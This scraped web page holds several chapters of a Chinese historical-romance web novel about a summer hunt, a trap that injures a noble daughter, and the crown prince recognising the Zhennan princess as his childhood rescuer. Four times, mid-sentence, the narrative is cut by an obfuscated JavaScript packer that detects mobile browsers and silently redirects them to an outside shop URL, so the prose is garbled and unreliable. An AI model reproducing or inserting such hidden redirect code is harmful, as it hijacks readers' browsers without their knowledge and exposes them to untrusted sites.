还未走近,叶青漓就闻到一股浓烈的血腥味,待看清那是什么时,叶青漓更是目瞪口呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262300|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 鹿!好多的鹿! 大概是从前的教育太过深入人心,叶青漓初时看见这么多鹿被猎杀的时候还有些于心不忍。 不过等她吃到第一口烤鹿肉时,那些心思便全都没了。 鹿鹿这么可爱,果然烧烤最好吃! 叶青漓吃得开心,顾承宴看得安心。 瞧着叶青漓大快朵颐的样子,他也不自觉端起酒杯。 饮尽之后他轻蹙起眉,有些嫌弃地看了一眼,随后将酒杯放下。 “怎么了?这酒不好喝?” “没有,是他们在里面掺了些别的东西。” “什么东西?” “鹿血。” “鹿血?” 叶青漓早就听过它的大名,却一直没有机会见识过,“好喝吗?” 顾承宴看见叶青漓眼神微亮就知道她想干什么,抬手为她倒了一杯。 “还可以,你尝尝。” 叶青漓欣然接过,仰头一饮而尽,刺鼻的腥味瞬间充斥鼻腔和整个口腔。 她下意识皱起眉,却见顾承宴嘴角一丝坏笑,霎时间明白过来,“好啊你,故意看我笑话!” 顾承宴被她轻捶一记,并不躲避,凑到她耳旁说道:“这鹿血酒活血生温,更有奇效,所以皇室中许多人都爱喝。” 她当然知道鹿血有什么用! 感受着耳边温热气息,叶青漓霎时间红了半张脸,却再不敢碰那杯中酒一下。 顾承宴看着她害羞的样子,眸中盈满笑意。 入夜之后,众人各自回到营帐内休息。 叶青漓双手紧紧拽着薄被,眼睛直勾勾盯向站在床边慢条斯理解着护腕的顾承宴,忍不住咽了下口水。 床边的某人毫无所觉,依旧慢腾腾脱着衣服。 先去了覆盖在胸肌上的外衣,再解了束着窄腰的腰带,褪下里衣后,露出腹间八块腹肌,骨节修长的双手放在里裤上,作势要往下拉…… “等等!” 叶青漓忽然出声打断。 顾承宴不明所以看过来,“怎么了?” “睡个觉而已,用得着脱这么多吗?你平素在府里也不这样啊?” 顾承宴自然而然道:“今日在山里走了一天,身上都是灰尘,当然不能穿着这些衣服上床。” 说着又要扯下裤子,叶青漓连忙阻止。 “等等!” “但是山间夜里冷,还是多穿些吧。”她生怕顾承宴继续脱,连忙补充,“我不嫌弃你的!” 顾承宴看她缩在被子里,想看又不敢看的样子,不由失笑。 “晚上你我同寝而眠,怎么会冷?” 说着便将手伸向裤子,叶青漓连忙提起被子捂住脸。 “你别!这是在外面!你……” 感受到身侧忽然传来的温热触感,叶青漓霎时间没了声音。 她扭头看了一眼,果然顾承宴正一脸坏笑地看着她。 “我如何?” 叶青漓往下瞄了一眼,见他身上裤子穿得整整齐齐,瞬间明白过来。 她双眸微瞪,将被子全都卷到自己身上,翻着身嘟囔道:“你今晚没被子盖了!” 顾承宴丝毫不惧,顺势躺在叶青漓身后,将人紧紧拥进怀里。 他附在叶青漓耳边,“娘子方才不是还说夜间冷,怕我着凉,怎么这会如此狠心,不给我被子了?” “还不是因为……” 叶青漓扭着腰,企图退出他的怀抱,却忽然察觉到腰后一股异样…… 61. 原书女主 “因为什么?” 温热的气息打在耳边,叶青漓下意识缩了缩脖子。 今晚那杯鹿血酒的味道在口中回味,她忽然觉得有点渴,不自觉舔了下唇。 顾承宴一直关注着叶青漓的动作,自然轻易察觉到她的变化,于是他凑上前去,主动送上自己的吻。 面前的俊脸渐渐放大,直到两唇相贴,感受着顾承宴的温柔,叶青漓才轻轻闭上双眼。 微风拂过,卷起营帐上的门帘,透过间隙,轻易可见营帐外燃起的篝火。 篝火燃烧剧烈,火苗互相舔舐,有人往火中添了把柴,火苗越发旺盛,直到越烧越旺,几乎冲破束缚…… “等等!” 骤然被叶青漓推开,顾承宴双眸中欲望未退,茫然看着叶青漓,声音低哑。 “怎么了?” 叶青漓发丝凌乱,红唇微肿。 她扯着床上的被子,塞到两人中间,又用被角帮顾承宴搭住关键部位,才道:“今天骑马累了,我想睡了。” “对,我要睡觉了!” 说罢,不敢看顾承宴的反应,连忙用被子蒙住了头,紧紧闭上眼睛。 顾承宴心中燥热未消,有些不甘心道:“青漓,如此良辰美景,你确定真的要睡觉吗?” 回答他的只有一室沉默和叶青漓刻意加重的平缓呼吸。 顾承宴默了半响,明白叶青漓的意思,看了眼自己身下,无奈摇头。 怪他! 明知道青漓还有些害怕,不该借着鹿血酒的作用就欺负她。 顾承宴起身下了床,细心为叶青漓掖好被子,一阵窸窣的穿衣声后,营帐内没了顾承宴的身影。 叶青漓迷迷糊糊间听他问侍卫要了些水,而后便什么都不记得了。 临睡前仍在庆幸,自己又一次帮顾承宴保住了尊严。 第二日两人再相见时,顾承宴神色如常,叶青漓也并未提起昨晚的事。 两人心照不宣,继续昨日的教学。 这边厢两人相处得融洽自然,身处林中的某些闺秀小姐们可就不一样了。 “不玩了!不玩了!这些猎物根本就打不到!”一个身穿嫣红色百褶裙的女子坐在马上,随意摆弄着弓箭。“我们平日里根本就不像男子一般射猎,圣上这不是为难人吗?” “是呀!我昨日回去后发现大腿都磨破了,骑马又脏又累,真不明白圣上为什么要以这个来定胜负?” “要不咱们都别在这林子打转了,大家都不打猎,等回去让圣上重新定个规则,选出前三名如何?” “邱姐姐你愿意,我也愿意,可有些人,却不一定会愿意啊!” 昨日圣上的话大家都听见了,有中意太子妃位置的自然会在每日射猎中尽心尽力。 顾承英就是其中一位! 顾国公一向宠爱她,像骑马射箭这种事情,在她七岁时顾国公就亲自教她了。 相比起那些大门不出二门不迈的娇滴滴大小姐,她在此次夏猎中很有优势。 譬如昨日,尽管有太子带人打了三头鹿这样的优异成绩在前,顾承英在女子组的成绩依旧遥遥领先的,若是她能一直保持这个水准,前三名指日可待! 加之昨日她已经在叶青漓面前夸下海口,所以表现得更加卖力。 当顾承英再一次射中一只雪兔时,那名身穿百褶裙的女子再次开口。 “喂!顾承英,别打了!咱们还是回去吧!圣上本来就老糊涂了,哪有用打猎选出太子妃的?” 顾承英没有回她,而是下了马将自己的猎物提回来。 “喂,你听见没有?” “要回去你们回去。” 邱姑娘来了脾气,歪头怒喝,“你敢不听我的?” 顾承英自幼备受宠爱,最是不怕这种以身份压人的人。 她利索地翻身上马,冷眼看向对方,冷漠的样子和顾承宴有几分相像。 “你我同是国公之女,我为何要听你的?” 顾承英扫了眼对方背篓中的猎物,空空如也,忍不住嗤笑一声,“就因为你菜?” “你!” 邱姑娘张口想要大骂,顾承英却没心思搭理她。 昨日她本打算独身一人,是这群人觉得林中不安全,想要凑个伴,结果一个个怕这嫌那,害得她丢失好多猎物! 她早就想跟她们分开了! 赵氏从前一心盼着儿子袭爵给女儿找个好婚事,几十年来将所有赌注压在顾承卓身上,从未给顾承英一丝压力,让她无忧无虑长大。 可是自打顾承宴回府后,哪怕顾承英未曾与人发生过冲突,也看得出,母亲和哥哥的胜算越来越小了! 如果她能够当选太子妃,哪怕顾承宴在太子手底下做事,母亲焦虑的问题也能迎刃而解。 顾承英带着这个目标,直接打马离开,连个眼神都没给邱姑娘留。 如此轻视,自然引起对方不满。 跟在邱姑娘身后的几人见她变脸,连忙说道:“这顾承英也太没礼貌了!” “谁不知道邱姐姐是圣上最中意的太子妃人选,此次夏猎不过是走个流程罢了,她这般勤奋打猎,难道真想得个前三名,好与邱姐姐争一争太子妃之位吗?” 娇俏女子眸色尽暗,脸上现出几分狰狞的扭曲。 “她休想!” 顾承英又独自打了许多猎物。 忽然间,她注意到右侧草丛间有些异动,连忙悄悄搭起弓箭对准草丛,驱马慢慢靠近。 随着距离越来越近,一只受了伤的纯色红狐出现在顾承英眼中。 红狐皮色发亮,油光水滑,一只前足似是被人射中,正冒着血,它似乎没有注意到顾承英,此刻正窝在草丛中舔舐伤口。 虽说前三名甄选时猎得的猎物越多越好,但以这只红狐的品相,当然活捉更加加分。 顾承英丝毫没有犹豫,当即放下弓箭,轻手轻脚下了马。 那只红狐似乎疼得厉害,一直专注于伤口,丝毫没有注意到人类的靠近。 顾承英拿出网兜,尽量放轻呼吸,踮着脚尖慢慢靠近…… 终于,就在她距离红狐还有一步之遥的时候,脚下忽然踩空,连人带红狐掉进陷阱里。 “啊——!” 顾承英下意识调整姿势护住身体,却还是被陷阱里的竹刺扎伤了胳膊和腿。 她看着距离眼球只有半指距离的竹刺,瞬间冒出一身冷汗,若是自己反应再慢半分,只怕已经被戳穿脑袋,不死也残! 顾承英忍着剧痛,慢慢从竹刺上挪开,好不容易挪到一个稍微安全的地方,目光却被陷阱中心的红狐吸引。 只见那红狐的一只后腿上竟然绑着一根不已察觉的丝线,恰好与陷阱中心的竹刺相连! 原来这红狐不是躲在这养伤,而是被人刻意放在这里的! 霎时间,顾承英又惊出一身冷汗,她后知后觉意识到自己可能中了别人的陷阱,若是再不自救,不知后头还有什么等着她? 她立刻要掏出求救所用信号弹,却发现那东西被自己落在马上。 无奈之下,只好扯着嗓子喊起来。 “救,救命!救命啊!有没有人?救命!” 不知过了多久,顾承英终于听见地面传来脚步声,她并未觉得开心,反而警惕地看着陷阱洞口。 脚步声越来越近,直到一抹嫣红色映入眼帘,顾承英下意识瞪大了眼睛。 “怎么是你?!” “怎么不能是我?” 来人正是第一日在太子营帐附近发现顾承英的女子,她看着浑身是血的顾承英,缓缓蹲下身子。 “你看起来好像遇到麻烦了,需要我帮忙吗?” 顾承英生平仅有的两次想找个地缝钻下去的时候,都被面前这人遇上了。 她惨白着脸,看了眼陷阱中尖利的竹刺,朝地上的女子点点头,“麻烦你了。” * 叶青漓她和顾承宴本在围场内熟悉骑马,不料一个侍卫忽然出现说顾承英在猎场受伤了,两人匆忙赶来,看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272388|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的就是太医为顾承英胳膊拔竹刺的场景。 竹刺拔掉后,鲜血四溅,幸而太医手快顾承英才没血流而死。 叶青漓心中大震。 “这是怎么了?怎么会受这么严重的伤?” “你这个妹妹约莫是又迷路了,不小心掉进陷阱,恰好又被我撞上。” 叶青漓闻声看去,发现又是那日的女子。 见顾承英并未否认后,连忙上前道谢。 “多谢这位姑娘及时救下我六妹妹,不知姑娘是何人,我好请家中长辈登门道谢!” “不必客气,我……” “多谢郡主殿下,稍后父亲会亲自向镇南王道谢!” 那女子还未开口,顾承宴已说出她的身份。 “镇南王?郡主?” 叶青漓闻言颇为震撼,下意识看向女子。 东门楚楚颇为洒脱地摆摆手,“道谢就不用了,一点小事,不足挂齿。你们好好照顾她,我要继续打猎了!” 顾承宴闻言又道:“听闻此次镇南王进京会留一个月,若是郡主有意,夏猎之后我顾国公府愿做东请郡主在京城游玩。” “这个嘛,以后再说吧。” 似是顾承宴的废话太多,东门楚楚确认顾承英没有生命危险后便离开了。 不多时,得到消息的顾国公和顾承平及申氏三人也赶来,几人看见顾承英的样子又是一阵嘘寒问暖。 尤其是顾国公,一把年纪的人了,看见顾承英身上处处是伤,心疼得直掉眼泪。 顾承宴与顾国公交代了前因后果,特别点明是镇南王郡主救下的顾承英后,便带着叶青漓先离开营帐,将空间留给几人。 出来后,却发现叶青漓很久没有开口说话,似乎有些走神。 “怎么了?” “前日六妹妹走失,也是这位郡主先找到的她,我只是觉得有些巧。幸好夫君先认出她来,否则我可要闹笑话了。” 顾承宴以为叶青漓不开心,连忙道:“镇南王郡主也有资格竞选太子妃之位,我跟随太子,所以提前关注了一些。” “嗯,我明白。” 她怎么会不明白呢? 毕竟原书女主就是这位镇南王郡主啊! 未来的太子妃! 南朝下一任皇后! 独掌南朝半壁江山! 只是镇南王身为南朝唯一一个异性王,比起京城这些国公军候更受圣上忌惮,太子娶了她后,两人一直同床异梦,书中她的感情波折不断,似乎到了最后也没有一个好结局。 这一世自从叶蕙珠提出换亲以来,原书剧情的限制再未出现过。 不知这次,会是什么结果? * 东门楚楚出了营帐后便直奔猎场,身为南朝唯一一个异性王的郡主,她自幼有无数荣耀尊贵加持,对于谁当太子妃一点都不在乎。 她更在意的是打猎前三名这个名头带来的荣誉! 只是这两天进山林的人太多,外围的兔子,野鸡都被打光了,一路上都没看见什么好猎物。 她有些无聊,不甘心地又往丛林深处而去,直到越过皇家侍卫特别标注的安全区,才停下来仔细观察四周。 得益于镇南王对她的教导,东门楚楚很快注意到远处石壁上有一只正在午睡的老虎,一身花纹,王字当头。 她勾唇笑了笑,从身后抽出一支利箭。 这才是配得上她东门楚楚的猎物! 远在百米之外的老虎睡得宁静又安详,虽然近几日它的地盘外来了些人类,有些吵闹,可它对自己的实力很有信心。 老虎丝毫没注意到大树背后,有一个女人正用箭指着它。 东门楚楚弯弓,瞄准,松手放箭,一气呵成! 夏日蝉鸣不断,利箭破空的声音被隐匿其中,老虎没有注意到近在咫尺的危险,就如东门楚楚也没察觉到有人和她盯上了同一只猎物。 又一只利箭横空而来,正好射断了东门楚楚的箭,断箭落在距离老虎五步远的地方…… 62. 再见故人 “谁这么不长眼睛?” 东门楚楚下意识皱眉,顺着飞箭来时方向看去,不妨竟看见一抹明黄。 太子立于马上,微微一笑,“抱歉,孤不是故意的。” 一个能在第一日猎得三头鹿的人,不瞄准老虎却恰好射断了自己的箭,这种话东门楚楚当然不信。 “我在南疆常常听闻太子殿下文武双全,没想到眼神这么不好?我很怀疑昨日那些猎物到底是不是你自己猎得的?” 太子脸上笑容不变,“这头老虎我看上了,郡主还是另找其他猎物吧。” “另外,此地已是猎场腹地,时常有凶猛野兽出没,郡主孤身一人,还是尽早离开得好!” “我凭什么要听你的?” 东门楚楚再次弯弓,长箭对准老虎,倏然飞出。 太子亦不逞多让,搭弓射箭,再次于半途射断对方的箭。 东门楚楚气急败坏,“你这是做什么?” “孤已经说过了,这头老虎是我的猎物,郡主请回吧!” 太子笑容依旧,眸中却无半分温度。 镇南王已经有异性王之尊,若是他的女儿再做了太子妃,将来南朝江山必定不稳,这镇南王郡主,绝不能得前三名! “我偏不!” 她想得到的东西,还从来没有得不到的! 东门楚楚再次弯弓,羽箭对准石壁时却惊讶发现那只睡得香甜的老虎,不知何时已经被两人惊醒,现在正瞪着眸子观察着两人,似乎在考虑从谁先下口吃。 “遭了!” 东门楚楚反应迅速,立刻调转马头,往外围跑,外面侍卫更多,只要发现老虎,一人一箭必能将它击毙! 太子也发现此处不妙,一向带笑的脸上罕见露出些许凝重,不等东门楚楚提醒,也催着马儿快速逃离。 老虎见两人逃跑,拔足追上前去。 它先跟在太子身后跑了几十步,发现太子身下的马比东门楚楚身下的马跑得更快,立刻换了方向,直奔东门楚楚而来。 “该死,怎么追过来了!刚才是他射的你,你去追他啊!” 东门楚楚想让老虎换个目标,可野兽怎么能听懂人的话。 只见那老虎不但没有换方向,反而加快速度,几乎追上马屁股。 东门楚楚回头时看见身后紧追不舍的老虎,手心不禁冒出冷汗。 她虽然跟随父王学习武艺,却无胜算单枪匹马杀死老虎。 都怪那该死的太子,让她错过最佳时机,否则她当时一箭射出,这老虎哪还有嚣张的机会? 眼见着猎物越来越近,老虎当即张开血盆大口。 “驾!” 幸而东门楚楚马术精湛,及时调转方向才没被咬到。 即使如此,她和老虎之间的距离还是又缩进了几分。如此重复两三次后,老虎终于跃上马背,张口对准她的脖颈。 “咻——!” 一只飞箭袭来,击中老虎侧颈,吃痛的老虎攻势收敛,东门楚楚趁机跳下马,就地滚了几圈稳住身形,从腰间抽出匕首,看着老虎严阵以待。 “不想死就赶紧走!” 太子不知何时掉头回来,正在东门楚楚身后不远处,她未做过多思考,连忙伸出一只手奔向对方,太子也及时伸手抓住,一个用力将人拉至马上,头也不回朝着前方跑去。 身后的老虎甩掉颈间带来刺痛的羽箭,看着前方两个逃跑的人类,越发愤怒。 四只虎爪在地上用力摩擦,浑身肌肉一瞬间爆发,一跃冲向两人一马,速度比方才还要快上一倍! “不好,它要追上来了!你再快点!” “踏月已经是最快的马了,若是这次逃不过去,说明你命中该有一劫!” “你!” 东门楚楚简直要被这个男人气笑了,若不是他横插一脚,自己哪里会被老虎追得这么狼狈? 趁着太子专心驾马,她直接夺过对方背在身上的长弓,从他腿边箭篓中抽出羽箭,在马上原地转身,朝着老虎射去。 “你疯了!” 这可是飞速奔袭的烈马,若是从马上摔下去,只会死得比被老虎吃掉更惨! “那你有其他办法吗?” 东门楚楚回怼一句,继续搭弓射箭。 既要让自己不从马上掉下去,又要瞄准目标,准确率自然不比平地,一连射了三箭,身后的老虎却毫发无伤! “啊!” “小心!” 前方骤然出现一棵巨树,太子调转方向时东门楚楚未有准备,险些从马上掉下去,幸而腰间忽然横出来一只手将她拦住。 有了这只手固定身位,东门楚楚便能分出更多心思对付老虎。她不再费心固定身形,将所有注意力放在箭头上。 终于,这一箭射中了老虎眼睛! “嗷呜——!” 只听一声虎啸,身后的老虎疼得在原地打滚。 “成了!成” 宗政景宏听见这句话,不由得也松了一口气,他继续驾马远离老虎,渐渐的,却发现自己似乎迷路了。 两人一直行至一处小溪边,再也看不见老虎身影,他将马停下,第一时间燃起信号弹。 “不出一刻钟,他们就会找到这里来,现在咱们只需要小心那只老虎找到这。” 东门楚楚点点头,率先下了马,两人手中各持武器,防备地看着四周。 微凉夏风轻轻拂过,带着山间独有的气息,潺潺流水从高耸的山巅流淌,经过两人时发出哗啦啦的响声,方才那一番心惊肉跳仿佛只是两人的一场错觉。 东门楚楚经过刚才那一遭,此刻浑身沾满山间草泥,华丽的骑装被染得不成样子,就连精致的小脸上也胡了一团污泥。 太子坐在石头上,有一下没一下地给马儿顺毛,“如果郡主刚才肯听我的,不要妄想不属于自己的东西,就不会有这场危机了!” “什么叫不属于自己的东西?刚才那头老虎是我第一个发现的,我为什么不能打?” 她不服气地看着对方,看见太子脸上带着笑意,嘴角却挂着一丝淡淡的嘲讽。 她瞬间明悟了什么,有些难以置信地上下打量了对方一眼,“你不会以为我是为了太子妃之位才要打那头老虎的吧?” 男人默然不语。 瞬间点燃了东门楚楚的暴脾气。 “我父王可是南朝勇士,当年以一敌百,大战蛮族,谁稀罕你这个只会拖后腿的小白脸?” 说着,她像是看见什么脏东西,嫌恶地站起身,想要坐得离对方远点,只是走路姿势有些奇怪,脚步一轻一重。 宗政景宏脸色微沉,眸中杀意一闪而过。 异姓王果然是异姓王,自视甚高,丝毫不把皇室放在眼里。 父皇说得不错,此子断不可留! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285917|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他冷眼看着东门楚楚拖着受伤的脚一步步往远处挪,直到她不慎碰到一块石头险些摔倒,才慢吞吞地站起身。 “站住!” 崴了脚的女人似是耳朵也聋了,拖着受伤的脚继续往前。 此地是密林深处,只他们两人,若她受了太严重的伤,只怕镇南王会起疑心。 找到理由后,太子直接上前将东门楚楚强行按在地上,脱了她的鞋子观察。 “你干什么?” 东门楚楚忽然被人脱了鞋袜,瞬间慌了神,抬脚就要将他踹开。 可惜脚腕扭伤,越是用力,便越是疼痛难忍,脸色变得越发苍白,却对宗政景宏没造成半点伤害。 “你的脚受伤了,我先帮你看看,若是不想以后变成一个瘸子,就给我老实点!” 待人安静后,他才开始检查对方伤处。 许是方才跳下马时扭伤了脚,之后又反坐在马背上射箭,用脚固定身体,此时脚腕处骨节已经突出变形,扭曲严重,瞧着十分可怕。 被这样热烈又认真的目光注视,东门楚楚的脸不自觉泛起红晕,无关乎情爱,只是在异性面前露出脚丫的正常羞耻。 “好了没?” 太子伸手轻抚了下伤处,语气收敛,“伤得有些严重,必须尽快正骨,否则拖得时间越久,恢复越难。” “我不会真变成瘸子吧?” 听得对方话中担忧,太子低着头,眸间闪过一丝轻笑,“不好说。” 得到这个回答,东门楚楚瞬间担心起来。 她只是想打只老虎回去在父王面前炫耀炫耀,可没打算变成瘸子吓他一跳! “我来帮你正骨,你有没有手帕?” “做什么?” “怕你受不了疼,咬在嘴里。” 东门楚楚杏眸微瞪,把头一抬,似乎是在鄙视他,满不在乎道:“这点小疼算什么?” 他忽然僵住,手上停了动作。 东门楚楚悄悄瞥了一眼,以为他是嫌弃自己,连忙将脚抽回去。 “其实再等等也行,怎么能让尊贵的太子殿下给我揉脚呢?” “不必!” 宗政景宏伸手将对方粉嫩的脚丫握住,动作比之刚才轻柔了不少,一边寻找正骨的方位,一边回忆着那些尘封在记忆里的往事。 二十多年前,他和一群皇子公主出宫偷玩,不慎被人贩子抓住,饿了三天三夜,每天都被恐吓威逼,担惊受怕。 直到某一天,一个小女孩也被抓进来,她不仅一点也不害怕,还时常安慰众人,是那时的他心里的唯一支柱。 小女孩被关没几天就联合众人一起逃跑,可惜有人不小心惊动守卫,是她帮他们拖延时间被打伤了腿,流了很多血。 最后逃出来时,他记得自己看着伤口问她疼不疼? 那女孩也是这样把头一抬,满不在乎。 “这点小疼算什么?父亲告诉我女孩子要坚强,我才不会哭呢!” 终于,找到你了! “喀嚓!” 一声脆响之后,东门楚楚脚骨恢复位置,她尝试扭了扭脚踝,惊奇地看着对方。 “没想到堂堂太子殿下,竟然真的懂揉脚?这下父王不必担心我变成个瘸子了!” 宗政景宏看着她,刚刚认出故人的喜悦被遗憾代替。 为何,你偏偏是镇南王的女儿? 63. 执念 东门楚楚坐在石头上,一只脚被捧在男人手中,掌心干燥带着薄茧,十分有力。 刚才也是这只手拦住她的腰才没让她掉下马。 一阵微凉的夏风拂过,吹动少女衣衫上飘带,轻抚过宗政景宏的眼睛,他的目光极度热烈,又带着一丝希望破灭后的绝望,令人不自觉想要探究。 “你怎么了?怎么这么看着我?” 太子未语,默默松开手,将刚才脱下的鞋子又重新穿回去。 东门楚楚大惊,“我自己来就好!” 她抬脚想要拒绝,男人却不容拒绝,三下五除二帮她穿好鞋子,退开到一个让她自在的距离。 “我的侍卫马上要来了,若是不想让他们看见你这么狼狈,还是好好洗洗吧!” 东门楚楚觉得莫名其妙,她不过摔伤了脚,哪里就算得上狼狈? 然而当她走到溪边,看见水面反射的倒影时,才惊觉自己早已‘面目全非’,哪里还有一点镇南王郡主的样子? “都怪那该死的老虎!” 她用力拍碎了水面,暗暗发誓,等回去后一定要再带人来将那老虎猎杀! 她将自己收干净后,太子的侍卫终于找到此处。 “属下等救驾来迟,请太子殿下恕罪!” “孤与郡主遭到老虎袭击,奋力逃到此处。那老虎并未被我们杀死,这几日命人加强防备,在那只老虎没被猎杀前,提醒众人莫往猎场深处来。” “是!” 交代完这些,宗政景宏才利索地翻身上马。 东门楚楚却没他这么好的身手了。 虽然扭曲的骨节已经被掰回原位,可到底是受过伤,此刻那只脚已经使不上力,就连一个普通的上马动作都变得有些艰难。 看着她在马边扑腾半天一直上不去,宗政景宏立刻下了马,走到她身边将人拦腰抱起。 “啊!” 下意识惊呼后,东门楚楚愕然发现自己已经坐在马背上,而那个默默帮她的人已经先一步打马离开。 瞧着像个小白脸,没想到还挺有力气的。 东门楚楚暗自吐槽,在几个侍卫的护送下离开密林。 听闻镇南王郡主受了伤,叶青漓按照礼数前来探望。 刚走到营帐前就听见里面传来的争吵声。 “我才不要一直待在帐子里,闷都闷死了!” “太医说你不是简单的扭伤,内里的骨头早已裂开。若不是有太子及时为你简单治疗,此刻已经是个瘸子!” “我不管!父王你答应过我的,这次让我好好玩!你耍赖!” “我说让你好好玩是在安全的前提下,你自己弄伤了腿能怪谁?” “这怎么成我的问题了,明明是那个太子拖后腿,他跟我抢,才惊动老虎的!要不是他……” 里面的对话越来越放肆,给叶青漓带路的王府下人连忙在门口喊了句。 “禀王爷,郡主!” “顾国公府大夫人听闻郡主受伤,前来探望!” “不见!” “等等!让她进来!” 镇南王惊异于女儿与自己唱反调,待看见叶青漓,听了她的来意后,瞬间回过味来。 叶青漓走进帐内,首先看见一中年男子。 豹头环眼,燕颔虎须,身高八尺,此刻正站在床边怒斥着脚被包成粽子的郡主。 “妾身见过镇南王,见过郡主。” “前两次多谢郡主救下我家六妹妹,听闻郡主在林中受伤,我特意带了些老山参,希望郡主的伤能够早日恢复。” 叶青漓出门前为以防万一带了三根老山参,没想到顾承英和镇南王郡主接连受伤,一下去了两根。 现在她不由得开始后悔,早知道夏猎这么危险,当时就应该多带些! “难为你还能记得我。”被下了禁足令的郡主如霜打得茄子般,有气无力,“原先我还觉得你那六妹妹爱逞强,老是迷路又容易受伤。如今轮到我要一直躺在着床上,才知道受伤的感觉有多难受!” 这话说得有些冒犯,却又透着亲近。 镇南王看了看嘴角带笑,未有嫌弃的叶青漓,又悄悄觑了眼躺在床上心如死灰的东门楚楚,忽然想到什么。 他猛地拍手,看着叶青漓称赞道:“这位就是顾国公府的大夫人了吧,久闻大名!” 叶青漓被这份突如其来的热情看得有些懵,她的名号还能传到南疆去? 又听镇南王继续道:“小女性子野蛮,久居南疆又没什么见识,对京城的风土人情也不太熟悉。既然你惦记着小女受伤,不如这几日就多来陪陪她,和她讲讲京城的趣事,等她伤好之后,本王必有重谢!” “可是,我……” “本王和圣上还有约,先走了!” 说罢,镇南王便像甩掉了什么麻烦一样,快步逃离现场。 叶青漓只觉得面前一阵残风卷过,方才站在那的人影就没了。 “王爷这是,走了?” 东门楚楚点点头,刚想翘个二郎腿,发现不方便,便抬起双手置于脑后,调整了个舒服的姿势后冲叶青漓肯定点头,“准确来说,他是把我托付给你后,逃了!” 叶青漓:“?” “你别怕,我不会一直麻烦你的,明天你来我帐里帮我打个掩护,等我把那只害我受伤的大老虎打回来,就不用在意我父王的话了!” 叶青漓:“??” * 听闻太子遇上老虎,圣上立刻过来看望。确认自己选定的继承人没出大问题后,才继续享受这次夏猎。 没了外人在场,太子一直挺拔的背颓然沉下来几分,欣长的身影从后看去有些落寞。 他站在那里,久久未动,时间一点一滴过去,帐外蝉鸣声,马蹄声,人语嘈杂,沙沙不绝,都抵不过他从认出东门楚楚后的心乱如麻。 良久之后,他终于动了。 “来人,去把顾承宴给孤叫来。” 没过多时,顾承宴便来了。 “听闻殿下林中狩猎时遇到意外,不知有无大碍?” “孤回来也有半个时辰了,是不是孤不主动叫你,你都不会来看看孤?” 顾承宴一脸认真,“自然不是。” “殿下乃是太子,南朝未来希望,肩负南朝数千百姓的命运,臣自然忧心不已!奈何臣身份低微,不敢随意求见,怕扰了殿下清静……” “得了!剩下那些话留着给你夫人说吧!”太子不耐烦道:“孤让你和那些愚生学得是为人处事,执事经验,不是让你来花言巧语的!” “而且,你演技也太差了些!” 被戳破之后,顾承宴十分自然闭了嘴,一脸泰然自若。 “殿下过奖!” “不知殿下叫我前来有何吩咐?” “孤找到她了。” “恭喜殿下,找到故人……” 顾承宴想都没想接下话茬,反应过来太子说得是谁,瞬间怔住,他皱眉看着失魂落魄的太子,有些难以置信。 “太子找到谁了?” “她。” 没有名字,没有身份,没有容貌,可在场两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294843|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分清楚,太子所说的就是那个被他念念不忘了二十多年的女孩儿。 绕是顾承宴一向淡定,此刻也有些惊讶。 “殿下没有在愚弄我吧?” 知道自己曾经对顾承宴做得太过,宗政景宏再次解释,语气认真。 “孤找到她了,她就在此次夏猎队伍中。” 顾承宴彻底沉默。 这么多年,太子一直在寻找那个被他藏在心里的女孩。 上至京城贵女,下到流浪乞儿,就连皇宫里年龄相仿的宫女他都查了个遍,却始终未能找到那人。 多年寻人未果,太子甚至以为那只是一场梦,一个因为他太过害怕而臆想出来的女孩儿。 没想到,竟真有其人? 可场上这些人来来回回被查了二十多年,为何偏偏在夏猎第二天才找到? 难道说…… “是镇南王郡主?” 太子眼神躲闪,顾承宴便知自己才对了。 他眉心下意识拧得更紧。 “圣上不会愿意看到你娶镇南王郡主为太子妃!” “孤知道。” “圣上也绝不会允许镇南王一脉继续延续!” 